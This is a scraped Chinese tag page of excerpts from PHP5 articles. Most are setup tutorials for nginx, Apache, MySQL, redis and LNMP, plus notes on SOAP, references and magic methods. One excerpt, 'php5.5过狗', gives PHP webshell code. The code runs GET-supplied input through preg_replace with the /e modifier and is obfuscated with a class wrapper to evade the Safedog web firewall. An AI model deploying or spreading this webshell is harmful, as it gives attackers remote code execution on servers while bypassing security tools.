php5

windows下配置nginx+php环境

纵饮孤独 提交于 2020-03-04 08:22:30
刚看到nginx这个词,我很好奇它的读法(engine x),我的直译是“引擎x”,一般引“擎代”表了性能,而“x”大多出现是表示“xtras(额外的效果)”,那么整个词的意思就是类似“极致效果”,“额外性能”。当然这里不是要来唠嗑,以上是题外话。 nginx相较于我们熟悉的apache、IIS的优势,就我浅入浅出的了解,在于“反向代理”和“负载均衡”。因此考虑到能够为Web服务器节省资源,它可以代替apache来提供Web服务。那么上正题了,nginx有这么多优势,那在windows下如何来配置nginx+php环境?网上看到还是那么多转载来转载去的文章。这里就我配置的过程,来介绍一下: 1、首先需要准备的应用程序包。 nginx: nginx/Windows-1.0.4 php: php-5.2.16-nts-Win32-VC6-x86.zip (nginx下php是以FastCGI的方式运行,所以我们下载非线程安全也就是nts的php包) (还会用到)RunHiddenConsole: RunHiddenConsole.zip 2、安装与配置。 1)php的安装与配置。 直接解压下载好的php包,到D盘wnmp目录(D:\wnmp),这里把解压出来的文件夹重命名成php5。进入文件夹修改php.ini-recommended文件为php.ini

PHP5 SOAP调用原理及实现过程

你离开我真会死。 提交于 2020-03-01 01:46:03
本文以某公司iPhone 6手机预约接口开发为例,介绍PHP5下SOAP调用的实现过程。 一、基础概念 SOAP(Simple Object Access Protocol )简单对象访问协议是在分散或分布式的环境中交换信息的简单的协议,是一个基于XML的协议,它包括四个部分:SOAP封装(envelop),封装定义了一个描述消息中的内容是什么,是谁发送的,谁应当接受并处理它以及如何处理它们的框架;SOAP编码规则(encoding rules),用于表示应用程序需要使用的数据类型的实例; SOAP RPC表示(RPC representation),表示远程过程调用和应答的协定;SOAP绑定(binding),使用底层协议交换信息。 WSDL(Web Service Description Language)就是描述XML Web服务的标准XML格式,WSDL由Ariba、Intel、IBM和微软等开发商提出。它用一种和具体语言无关的抽象方式定义了给定Web服务收发的有关操作和消息。就其定义来说,你还不能把WSDL当作一种对象接口定义语言,例如,CORBA或COM等应用程序体系结构就会用到对象接口定义语言。 WSDL保持协议中立,但它确实内建了绑定SOAP的支持,从而同SOAP建立了不可分割的联系。所以,当我在这篇文章中讨论WSDL的时候,我会假定你把SOAP作为了你的通讯协议。

windows下安装php5.5的redis扩展

五迷三道 提交于 2020-02-29 10:06:50
花费了一点时间终于知道如何在windows环境下安装php5.5的redis扩展,步骤如下: 1 开发环境:使用的是wamp集成开发环境,PHP版本5.5.12 2 获取php_reid.dll前需要关注的phpinfo信息 3 php_redis.dll下载地址: http://windows.php.net/downloads/pecl/snaps/redis/2.2.5/ 由php的版本信息和2中的信息,选择下载下图所示的php_redis.dll文件 4 php_redis.dll存放位置: 放到php的ext目录下(例如:D:\wamp\bin\php\php5.5.12\ext) 5 修改php配置文件php.ini: 添加extension=php_redis.dll,如下图所示 6 重启服务器 7 查看phpinfo:找到reids的信息表示php的redis扩展安装成功,如下图所示 来源: oschina 链接: https://my.oschina.net/u/927817/blog/518018

windows下配置nginx+php

时间秒杀一切 提交于 2020-02-27 21:42:03
1、首先需要准备的应用程序包。   nginx: nginx/Windows-1.0.4   php: php-5.2.16-nts-Win32-VC6-x86.zip (nginx下php是以FastCGI的方式运行,所以我们下载非线程安全也就是nts的php包)   (还会用到)RunHiddenConsole: RunHiddenConsole.zip 2、安装与配置。  1)php的安装与配置。   直接解压下载好的php包,到D盘wnmp目录(D:\wnmp),这里把解压出来的文件夹重命名成php5。进入文件夹修改php.ini-recommended文件为php.ini,并用Editplus或者Notepad++打开来。找到 extension_dir = "./ext" 更改为 extension_dir = "D:/wnmp/php5/ext" 往下看,再找到 ;extension=php_mysql.dll ;extension=php_mysqli.dll 前面指定了php的ext路径后,只要把需要的扩展包前面所对应的“;”去掉,就可以了。这里打开php_mysql.dll和php_mysqli.dll,让php支持mysql。当然不要忘掉很重要的一步就是,把php5目录下的libmysql.dll文件复制到C:\Windows目录下

基于centos 7搭建LNMP架构

爷,独闯天下 提交于 2020-02-26 04:45:28
我们都知道的是LAMP平台时目前应用最为广泛的网站服务器架构,其中的“A”对应着web服务软件的Apache ,但是,现在随着时间的推移,越来越多的企业开始使用Nginx这匹黑马,LNMP或LEMP架构也收到越来越多的运维攻城狮的青睐。 闲来无事,就写一下LNMP架构的搭建吧! 一、 准备工作: • centos7服务器一台及系统镜像; • 安装mysql数据库,可参考博文:https://blog.51cto.com/14154700/2394026 ; • 部署Nginx网站服务器,参考博文:https://blog.51cto.com/14154700/2411362 • 准备PHP的软件包,网盘提取地址:链接:https://pan.baidu.com/s/1PIipn9e494XbJnclSCCgvg 提取码:z2zx 二、准备工作完成后,即可开始安装PHP解析环境: 1、安装 [root@localhost ~]# yum -y install gd libxml2-devel libjpeg-devel libpng-devel #安装所需的依赖包,在系统镜像中有提供。 [root@localhost media]# tar zxf php-5.5.38.tar.gz -C /usr/src #将下载的php包解压 [root@localhost media]# cd

Windows XP下全新安装Apache2,PHP5,MYSQL5,Zend的简单过程

孤街浪徒 提交于 2020-02-20 07:57:45
简介:这是Windows XP下全新安装Apache2,PHP5,MYSQL5,Zend的简单过程的详细页面,介绍了和php,有关的知识、技巧、经验,和一些php源码等。 class='pingjiaF' frameborder='0' src='http://biancheng.dnbcw.info/pingjia.php?id=324010' scrolling='no'> 一、下载地址:      Apache2.0.50 :http://httpd. apache .org/download.cgi   PHP5.0.2 :http://cn2. php .net/get/ php -5.0.2-Win32.zip/from/a/mirror   MYSQL5.0.2:http://dev. mysql .com/downloads/ mysql /5.0.html   Zend2.5.2 :http://www.zend.com/store/free_download.php?pid=13]      软件的安装偶就不说了,其中只有PHP下的是zip包,直接解压就可以了。      安装顺序就是上面列出来的顺序,Zend我是最后等所有的运行都没问题后才装的。       二、简单安装过程:      (一)Apache:   Apache2.0.50的安装很简单

PHp引用,函数引用,对象引用(初学者必看)

冷暖自知 提交于 2020-02-19 22:41:57
转自:http://blog.sina.com.cn/s/blog_948254830100vs2e.html 收集整理: 第 二 教 育 资 源 网 在PHP 中引用的意思是:不同的名字访问同一个变量内容. 与C语言中的指针是有差别的.C语言中的指针里面存储的是变量的内容在内存中存放的地址 变量的引用 PHP 的引用允许你用两个变量来指向同一个内容 [php] $a="ABC"; $b =&$a; echo $a;//这里输出:ABC echo $b;//这里输出:ABC $b="EFG"; echo $a;//这里$a的值变为EFG 所以输出EFG echo $b;//这里输出EFG ?> [/php] 函数的传址调用 传址调用我就不多说了 下面直接给出代码 [php] function test(&$a) { $a=$a+100; } $b=1; echo $b;//输出1 test($b); //这里$b传递给函数的其实是$b的变量内容所处的内存地址,通过在函数里改变$a的值 就可以改变$b的值了 echo " "; echo $b;//输出101 [/php] 要注意的是,在这里test(1);的话就会出错,原因自己去想 函数的引用返回 先看代码 [php] function &test() { static $b=0;//申明一个静态变量 $b=$b+1; echo

php5.5过狗

半城伤御伤魂 提交于 2020-01-31 14:24:41
新年到了,送给大家一个PHP免杀的webshell吧。(仅限PHP5.5以下版本) 测试环境 PHPstudy8.0.9.2,其中PHP版本为5.2 网站安全狗V4.0正式版 原理 preg_replace函数中使用/e修饰符,造成命令执行。 在PHP5.5以后,/e修饰符被弃用,这种方法就不行了。 <?php $a=$_GET['nb']; preg_replace("/dog/e", $a, "I am a sb dog"); ?> 在以上代码中,$a中内容会被当做php代码去执行。 但是,不幸的是,这样是无法绕过安全狗的。 因此我们需要对上面代码进行混淆,以便绕过安全狗。这里我采用的是自定义类。 <?php class SBdog{ public $x; function dog(){ $this->x=$_GET['nb']; } } $class=new SBdog(); $class->dog(); $a=$class->x; preg_replace("/dog/e", $a, "I am a sb dog"); ?> 通过定义一个SBdog类,并调用dog函数,将类中$x值赋给$a,这样就可以绕过了。 ps:菜鸡写的文章,有什么错误还请大佬们多多指正。 来源: CSDN 作者: K'illCode 链接: https://blog.csdn.net/Dome_

php的发展历史

可紊 提交于 2020-01-30 03:27:43
php最初就是为了快速构建一个web页面而迅速被大家广为接受的。它的好处是在代码中能内嵌html的代码,从而让程序员能再一个页面中同时写html代码和php代码就能生成一个web页面。 这篇文章用时间轴的角度来记录一下php的历史。 PHP之父Rasmus Lerdorf PHP版本历史 1995年初 PHP1.0诞生 Rasmus Lerdof发明了PHP,这是简单的一套Perl脚本,用来跟踪访问者的信息。这个时候的PHP只是一个小工具而已,它的名字叫做“Personal Home Page Tool”(个人主页小工具)。 1995年6月 PHP2.0诞生 Rasmus Lerdof用C语言来重新开发这个工具,取代了最初的Perl程序。这个新的用C写的工具最大的特色就是可以访问数据库,可以让用户简单地开发动态Web程序了。这个用C写的工具又称为PHP/FI。它已经有了今天php的一些基本功能了。 自Rasmus在1995年6月将PHP/FI发布源码之后,到1997年,全世界大约有几千个用户(估计)和大约50000个域名安装。 1998年6月 PHP3.0诞生 虽然说98年6月才正式发布php3.0,但是在正式发布之前,已经经过了9个月的公开测试了。 Andi Gutmans和Zeev Suraski加入了PHP开发项目组。这是两个以色列工程师,他们在使用PHP

php5魔术函数、魔术常量

夙愿已清 提交于 2020-01-19 21:42:58
魔术函数 1。__construct() 实例化对象时被调用, 当__construct和以类名为函数名的函数同时存在时,__construct将被调用,另一个不被调用。 2。__destruct() 当删除一个对象或对象操作终止时被调用。 3。__call() 对象调用某个方法, 若方法存在,则直接调用; 若不存在,则会去调用__call函数。 4。__get() 读取一个对象的属性时, 若属性存在,则直接返回属性值; 若不存在,则会调用__get函数。 5。__set() 设置一个对象的属性时, 若属性存在,则直接赋值; 若不存在,则会调用__set函数。 6。__toString() 打印一个对象的时被调用。如echo $obj;或print $obj; 7。__clone() 克隆对象时被调用。如:$t=new Test();$t1=clone $t; 8。__sleep() serialize之前被调用。若对象比较大,想删减一点东东再序列化,可考虑一下此函数。 9。__wakeup() unserialize时被调用,做些对象的初始化工作。 10。__isset() 检测一个对象的属性是否存在时被调用。如:isset($c->name)。 11。__unset() unset一个对象的属性时被调用。如:unset($c->name)。 12。__set_state()